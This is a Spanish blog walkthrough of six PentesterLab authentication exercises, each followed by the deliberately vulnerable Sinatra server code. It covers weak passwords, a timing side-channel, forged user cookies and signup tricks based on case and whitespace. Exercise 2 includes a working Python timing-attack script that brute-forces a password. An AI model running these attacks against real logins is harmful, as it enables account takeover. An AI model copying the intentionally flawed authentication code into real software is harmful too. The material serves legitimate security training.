[Pentesterlab write-up] Web For Pentester II - Authentication

Hoy continuamos con los ejercicios de autenticación del laboratorio de Pentesterlab 'Web for pentester II'.

Recordar que, en el contexto de una aplicación web, la autenticación es el proceso por el que se verifica la identidad de un usuario, normalmente mediante una contraseña. Una vez validado, el servidor debe manejar la sesión del usuario para poder seguir interactuando con él. Las sesiones deben ser mantenidas con un identificador único y no predecible.

Las vulnerabilidades relacionadas con la autenticación y la gestión de sesiones son críticas porque permiten a un atacante suplantar la identidad de un usuario y, por lo tanto, tener sus privilegios de acceso.

Veamos algunos de los fallos más típicos y cómo explotarlos.


Ejercicio 1:

Las contraseñas predecibles son probablemente la forma más fácil y común de evadir autenticaciones. Para empezar basta con probar la misma contraseña que el nombre de usuario (admin) y estaremos dentro:


SERVIDOR
require 'sinatra/base'


class AuthenticationExample1 < PBase
  
  set :views, File.join(File.dirname(__FILE__), 'example1', 'views')
  
  CREDS =  "admin:admin"
  
  def self.path
    "/authentication/example1/"
  end
  helpers do
    def protected!
      unless authorized?
        response['WWW-Authenticate'] = %(Basic realm="Username is admin, now you need to guess the password")
        throw(:halt, [401, "Not authorized\n"])
      end
    end

    def authorized?
      @auth ||=  Rack::Auth::Basic::Request.new(request.env)
      return false unless @auth.provided? && @auth.basic? && @auth.credentials
      return CREDS ==  @auth.credentials.join(":")
    end
  end
  get '/' do
    protected!
    erb :index
  end
end

Ejercicio 2:

En este ejercicio el problema es que se utiliza una comparación de strings “non-time-constant”, esto significa que la página web analizará la cadena introducida carácter por carácter hasta que encuentre un error, ya que el programador no se molestó en incluir algún tipo de código para aleatorizar o estandarizar el tiempo que tarda la página en analizar los datos.

Si registramos el tiempo que tarda un determinado carácter en analizarse  podemos ver si es correcto o incorrecto (la "derecha" tardará más tiempo en devolver un error, ya que va a pasar al siguiente carácter antes de encontrar un error).

Para explotar ésto, se puede crear un script que muestre el tiempo que tomó desde que se hace submit al formulario hasta que el mensaje de error aparece, o simplemente ver la hora manualmente (Firefox F12 o wireshark)

Para no estar haciéndolo manualmente creamos un sencillo script en Python. Primero comprobamos que es capaz de detectar el primer carácter de la contraseña al registrar un incremento en la respuesta:
import requests
import time
from time import sleep

for letra in range(ord('a'), ord('z')+1):
   start = time.time()
   r = requests.get('http://vulnerable/authentication/example2/', auth=('hacker', chr(letra)))
   print(chr(letra), "=", time.time() - start, r.status_code)
   sleep(1)

# python3 auth.py 
a = 1.411837100982666 401
b = 1.4192745685577393 401
c = 1.413834810256958 401
d = 1.420161247253418 401
e = 1.4159717559814453 401
f = 1.4079325199127197 401
g = 1.4163684844970703 401
h = 1.4196953773498535 401
i = 1.4183309078216553 401
j = 1.4113667011260986 401
k = 1.4153947830200195 401
l = 1.414841890335083 401
m = 1.411491870880127 401
n = 1.419482946395874 401
o = 1.4144706726074219 401
p = 1.6177349090576172 401
q = 1.4178481101989746 401
r = 1.4187202453613281 401
s = 1.4214084148406982 401
t = 1.4175682067871094 401
u = 1.417421579360962 401
v = 1.4108152389526367 401
w = 1.4106621742248535 401
x = 1.4189674854278564 401
y = 1.410445213317871 401
z = 1.4195282459259033 401

Y luego creamos un loop para automatizar todo el proceso:
import requests
import time
from time import sleep

lasttime=0
password=''
r = requests.get('http://vulnerable/authentication/example2/', auth=('hacker', 'test'))

while r.status_code==401:
# for letra in range(ord('a'), ord('z')+1):
 for letra in range(127):
   start = time.time()
   r = requests.get('http://vulnerable/authentication/example2/', auth=('hacker', str(password+chr(letra))))
   reqtime = time.time() - start
   print(password+chr(letra), "=", reqtime, r.status_code)
   diftime = reqtime - lasttime 
   print(diftime)
   lasttime=reqtime
   if 0.1 <= diftime <= 0.6:
       print("letra encontrada")
       password+=chr(letra)
       letra='a'
       break
   if r.status_code == 200:
        print("hecho")
        exit()

Al ejecutar el script veremos que irá encontrando letra a letra hasta que al introducir la password completa nos devuelva un 200 en la respuesta:

...
0.006502866744995117
p4ssw0rT = 2.812769889831543 401
-0.006078004837036133
p4ssw0rU = 2.809231758117676 401
-0.0035381317138671875
p4ssw0rV = 2.8098013401031494 401
0.0005695819854736328
p4ssw0rW = 2.8130240440368652 401
0.0032227039337158203
p4ssw0rX = 2.8202731609344482 401
0.007249116897583008
p4ssw0rY = 2.817929744720459 401
-0.002343416213989258
p4ssw0rZ = 2.8093137741088867 401
-0.008615970611572266
p4ssw0r[ = 2.8150429725646973 401
0.005729198455810547
p4ssw0r\ = 2.8159828186035156 401
0.0009398460388183594
p4ssw0r] = 2.8137450218200684 401
-0.0022377967834472656
p4ssw0r^ = 2.8198416233062744 401
0.006096601486206055
p4ssw0r_ = 2.822481870651245 401
0.002640247344970703
p4ssw0r` = 2.8205478191375732 401
-0.001934051513671875
p4ssw0ra = 2.8201541900634766 401
-0.0003936290740966797
p4ssw0rb = 2.816429376602173 401
-0.003724813461303711
p4ssw0rc = 2.8106870651245117 401
-0.005742311477661133
p4ssw0rd = 3.017566204071045 200
0.2068791389465332
letra encontrada

SERVIDOR
require 'sinatra/base'


class AuthenticationExample2 < PBase
  
  set :views, File.join(File.dirname(__FILE__), 'example2', 'views')
  
  CREDS =  "hacker:p4ssw0rd"
  
  def self.path
    "/authentication/example2/"
  end

  helpers do
    def protected!
      unless authorized?
        response['WWW-Authenticate'] = %(Basic realm="Username is hacker, now you need to find the password")
        throw(:halt, [401, "Not authorized\n"])
      end
    end

    def authorized?
      @auth ||=  Rack::Auth::Basic::Request.new(request.env)
      return false unless @auth.provided? && @auth.basic? && @auth.credentials
      creds = @auth.credentials.join(":")
      i = 0
      while CREDS[i] == creds[i] and i < CREDS.size and i < creds.size
        i+=1
        sleep(0.2)
      end
      if i == CREDS.size and CREDS.size == creds.size
        return true
      end
      return false
    end
  end
  get '/' do
    protected!
    erb :index
  end
end

Ejercicio 3:

A continuación simplemente tenemos que manipular la cookie. Si nos autenticamos con el usuario ‘user1’ vemos que se setea el valor ‘user1’:



Por lo que si cambiamos el valor a admin podemos acceder con el correspondiente usuario:




SERVIDOR
require 'sinatra/base'
require 'active_record'
require 'digest/md5'

class AuthenticationExample3 < PBase


  def self.db
    "authentication_example3"
  end

  ActiveRecord::Base.configurations[db] = {
      :adapter  => "mysql2",
      :host     => "localhost",
      :username => "pentesterlab",
      :password => "pentesterlab",
      :database => AuthenticationExample3.db
  }

  use Rack::Session::Sequel
  SEED = "MagicS33d_authenticationExample3"

  class User < ActiveRecord::Base
    establish_connection AuthenticationExample3.db
  end



  configure {
    recreate if $dev
    ActiveRecord::Base.establish_connection AuthenticationExample3.db
    unless ActiveRecord::Base.connection.table_exists?("#{db}.users")
      ActiveRecord::Migration.class_eval do
        create_table "#{AuthenticationExample3.db}.users" do |t|
          t.string  :username
          t.string  :password
        end
      end
    end

    User.create(:username => 'user1', :password => Digest::MD5.hexdigest(SEED+"pentesterlab"+SEED))
    User.create(:username => 'admin', :password => Digest::MD5.hexdigest(SEED+"Sup3rS4cr3tP4ssword"+SEED))
  }


  def self.path 
    "/authentication/example3/"
  end

  set :views, File.join(File.dirname(__FILE__), 'example3', 'views')
 
  get '/' do
    if params['username'] && params['password']
      @user = User.where(:username => params['username'].to_s, 
          :password =>Digest::MD5.hexdigest(SEED+params['password'].to_s+SEED)).first
      if @user
        response.set_cookie("user", @user.username)
        return erb :index
      end
    elsif request.cookies["user"]
      @user = User.find_by_username(request.cookies["user"])
      if @user
        return erb :index
      end
    end
    erb :login
  end
  get "/logout" do
    response.set_cookie("user",nil)
    redirect AuthenticationExample3.path
  end

Ejercicio 4:

El siguiente ejemplo es igual que el anterior sólo que el valor esta cifrado.


Si identificamos el hash veremos que se trata de md5:

   -------------------------------------------------------------------------
 HASH: 24c9e15e52afc47c225b757e7bee1f9d

Possible Hashs:
[+]  MD5
[+]  Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

https://hashkiller.co.uk/md5-decrypter.aspx


Así que sólo tenemos que configurar la cookie con el valor ‘admin’ cifrado en md5 y lo tenemos:

http://www.cryptage-md5.com/


SERVIDOR
require 'sinatra/base'
require 'active_record'
require 'digest/md5'


class AuthenticationExample4 < PBase

  def self.db 
    "authentication_example4"
  end

  ActiveRecord::Base.configurations[db] = {
      :adapter  => "mysql2",
      :host     => "localhost",
      :username => "pentesterlab",
      :password => "pentesterlab",
      :database => AuthenticationExample4.db
  }

  use Rack::Session::Sequel
  SEED = "MagicS33d_authenticationExample4"

  class User < ActiveRecord::Base
    establish_connection AuthenticationExample4.db
  end


  configure {
    recreate() if $dev
    ActiveRecord::Base.establish_connection "authentication_example4"
    unless ActiveRecord::Base.connection.table_exists?("#{db}.users")
      ActiveRecord::Migration.class_eval do
        create_table "#{AuthenticationExample4.db}.users" do |t|
          t.string  :username
          t.string  :userhash
          t.string  :password
        end
      end
    end

    User.create(:username => 'user1', :userhash => Digest::MD5.hexdigest('user1'),  :password => Digest::MD5.hexdigest(SEED+"pentesterlab"+SEED))
    User.create(:username => 'admin', :userhash => Digest::MD5.hexdigest('admin'), :password => Digest::MD5.hexdigest(SEED+"Sup3rS4cr3tP4ssword"+SEED))
  }


  def self.path 
    "/authentication/example4/"
  end

  set :views, File.join(File.dirname(__FILE__), 'example4', 'views')
 
  get '/' do
    if params['username'] && params['password']
      @user = User.where(:username => params['username'].to_s, 
          :password =>Digest::MD5.hexdigest(SEED+params['password'].to_s+SEED)).first
      if @user
        response.set_cookie("user", Digest::MD5.hexdigest(@user.username))
        return erb :index
      end
    elsif request.cookies["user"]
      @user = User.find_by_userhash(request.cookies["user"])
      if @user
        return erb :index
      end
    end
    erb :login
  end
  get "/logout" do
    response.set_cookie("user",nil)
    redirect AuthenticationExample4.path
  end

Ejercicio 5:

En este ejercicio apreciamos que en la pantalla de login además nos aparece la opción de registrar un nuevo usuario:

Si intentamos crear el usuario admin, veremos que el usuario ya existe y no será posible crearlo:

Sin embargo existe un fallo y parece que podemos crear el usuario "admin" poniendo una letra en mayúsculas:


que luego a la hora de validar no tiene en cuenta (case insensitive):


SERVIDOR

require 'sinatra/base'
require 'active_record'
require 'digest/md5'
require 'rack-session-sequel'

class Authenticationexample5 < PBase
  use Rack::Session::Sequel
  def self.db 
    "authentication_example5"
  end

  ActiveRecord::Base.configurations[db] = {
      :adapter  => "mysql2",
      :host     => "localhost",
      :username => "pentesterlab",
      :password => "pentesterlab",
      :database => Authenticationexample5.db
  }

  use Rack::Session::Sequel
  SEED = "MagicS33d_authenticationexample5"

  class User < ActiveRecord::Base
    establish_connection Authenticationexample5.db
  end


  configure {

    recreate() if $dev
    ActiveRecord::Base.establish_connection "authentication_example5"
    unless ActiveRecord::Base.connection.table_exists?("#{db}.users")
      ActiveRecord::Migration.class_eval do
        create_table "#{Authenticationexample5.db}.users" do |t|
          t.string  :username
          t.string  :password
        end
      end
    end

    User.create(:username => 'admin', :password => Digest::MD5.hexdigest(SEED+"Sup3rS4cr3tP4ssword"+SEED))
  }


  def self.path 
    "/authentication/example5/"
  end

  set :views, File.join(File.dirname(__FILE__), 'example5', 'views')
 
  get '/' do
    if params['username'] && params['password']
      @user = User.where(:username => params['username'].to_s, 
          :password =>Digest::MD5.hexdigest(SEED+params['password'].to_s+SEED)).first
      if @user
        session['user'] = @user.id  
        return erb :index
      end
    elsif session['user']
      @user = User.find_by_username(session['user'])
      if @user
        return erb :index
      end
    end
    erb :login
  end 
  get  '/signup' do
    erb :signup
  end

  get '/submit' do
    users = User.all
    if users.select{|x| x.username == params[:username] }.size > 0 

      @message = "Error:  user already exists"
      erb :signup
    else
      @user = User.create(:username => params[:username], 
        :password => Digest::MD5.hexdigest(SEED+params[:password]+SEED))
      session['user'] = @user.username
      redirect Authenticationexample5.path 
    end   
  end
  get "/logout" do
    session.clear
    redirect Authenticationexample5.path
  end

Ejercicio 6:

Esta vez, el desarrollador corrijió el anterior problema haciendo que la validación distinguiera entre mayúsculas y minúsculas, es decir, que fuera ‘case sensitive'. Sin embargo todavía olvidó que MySQL tiene en cuenta los espacios pero su página de registro no:



SERVIDOR
require 'sinatra/base'
require 'active_record'
require 'digest/md5'
require 'rack-session-sequel'

class Authenticationexample6 < PBase
  use Rack::Session::Sequel
  def self.db 
    "authentication_example6"
  end

  ActiveRecord::Base.configurations[db] = {
      :adapter  => "mysql2",
      :host     => "localhost",
      :username => "pentesterlab",
      :password => "pentesterlab",
      :database => Authenticationexample6.db
  }

  use Rack::Session::Sequel
  SEED = "MagicS33d_authenticationexample6"

  class User < ActiveRecord::Base
    establish_connection Authenticationexample6.db
  end


  configure {

    recreate() if $dev
    ActiveRecord::Base.establish_connection "authentication_example6"
    unless ActiveRecord::Base.connection.table_exists?("#{db}.users")
      ActiveRecord::Migration.class_eval do
        create_table "#{Authenticationexample6.db}.users" do |t|
          t.string  :username
          t.string  :password
        end
      end
    end

    User.create(:username => 'admin', :password => Digest::MD5.hexdigest(SEED+"Sup3rS4cr3tP4ssword"+SEED))
  }


  def self.path 
    "/authentication/example6/"
  end

  set :views, File.join(File.dirname(__FILE__), 'example6', 'views')
 
  get '/' do
    if params['username'] && params['password']
      @user = User.where(:username => params['username'].to_s, 
          :password =>Digest::MD5.hexdigest(SEED+params['password'].to_s+SEED)).first
      if @user
        session['user'] = @user.id  
        return erb :index
      end
    elsif session['user']
      @user = User.find_by_username(session['user'])
      if @user
        return erb :index
      end
    end
    erb :login
  end 
  get  '/signup' do
    erb :signup
  end

  get '/submit' do
    users = User.all
    if users.select{|x| x.username.casecmp(params[:username]) == 0 }.size > 0 

      @message = "Error:  user already exists"
      erb :signup
    else
      @user = User.create(:username => params[:username], 
        :password => Digest::MD5.hexdigest(SEED+params[:password]+SEED))
      session['user'] = @user.username
      redirect Authenticationexample6.path 
    end   
  end
  get "/logout" do
    session.clear
    redirect Authenticationexample6.path
  end
end

Y hasta aquí los ejercicios de autenticación. En la siguiente entrada esta serie veremos como evadir captchas...

[Pentesterlab write-ups by Hackplayers] Web For Pentester II:

SQL Injections
Authentication
Captcha
Authorization & Mass Assignment
Randomness Issues & MongoDB injection

2 comentarios :

  1. Excelentes ejercicios para practicar, ya tengo algo que hacer por las noches. Gracias!

    ResponderEliminar
    Respuestas
    1. No hay de qué. En esta serie los ejercicios son bastante sencillitos pero didácticos porque tenemos también el código del lado del servidor. Me gustó el ejercicio 2 por tener que implementar un script para automatizarlo.

      Saludos,

      Eliminar